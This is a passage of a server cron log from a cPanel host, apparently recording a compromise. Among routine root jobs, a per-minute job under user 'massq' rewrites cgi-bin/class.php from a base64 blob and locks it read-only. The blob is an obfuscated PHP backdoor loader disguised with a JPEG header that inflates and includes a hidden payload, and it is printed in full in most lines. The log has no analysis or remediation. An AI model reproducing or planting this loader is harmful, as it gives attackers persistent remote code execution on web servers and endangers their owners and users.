QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:05:01 server CROND[8217]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:06:01 server CROND[9080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:06:01 server CROND[9081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:06:01 server CROND[9082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:07:01 server CROND[9606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:07:01 server CROND[9607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:07:01 server CROND[9608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:08:01 server CROND[9989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:08:01 server CROND[9990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:08:01 server CROND[9991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:09:01 server CROND[10435]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 15:09:01 server CROND[10436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:09:01 server CROND[10437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:09:01 server CROND[10439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:10:01 server CROND[10839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:10:01 server CROND[10845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:10:01 server CROND[10843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:10:01 server CROND[10847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:10:01 server CROND[10846]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:10:01 server CROND[10844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:10:01 server CROND[10850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:10:01 server CROND[10853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:11:01 server CROND[11684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:11:01 server CROND[11685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:11:01 server CROND[11686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:12:01 server CROND[12167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:12:01 server CROND[12168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:12:01 server CROND[12169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:12:01 server CROND[12170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:13:01 server CROND[12575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:13:01 server CROND[12576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:13:01 server CROND[12577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:14:01 server CROND[12958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:14:01 server CROND[12959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:14:01 server CROND[12960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:15:01 server CROND[13354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:15:01 server CROND[13360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:15:01 server CROND[13359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:15:01 server CROND[13358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:15:01 server CROND[13357]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 15:15:01 server CROND[13356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:15:01 server CROND[13361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:15:01 server CROND[13363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:16:01 server CROND[14253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:16:01 server CROND[14254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:16:01 server CROND[14256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:17:01 server CROND[14630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:17:01 server CROND[14632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:17:01 server CROND[14631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
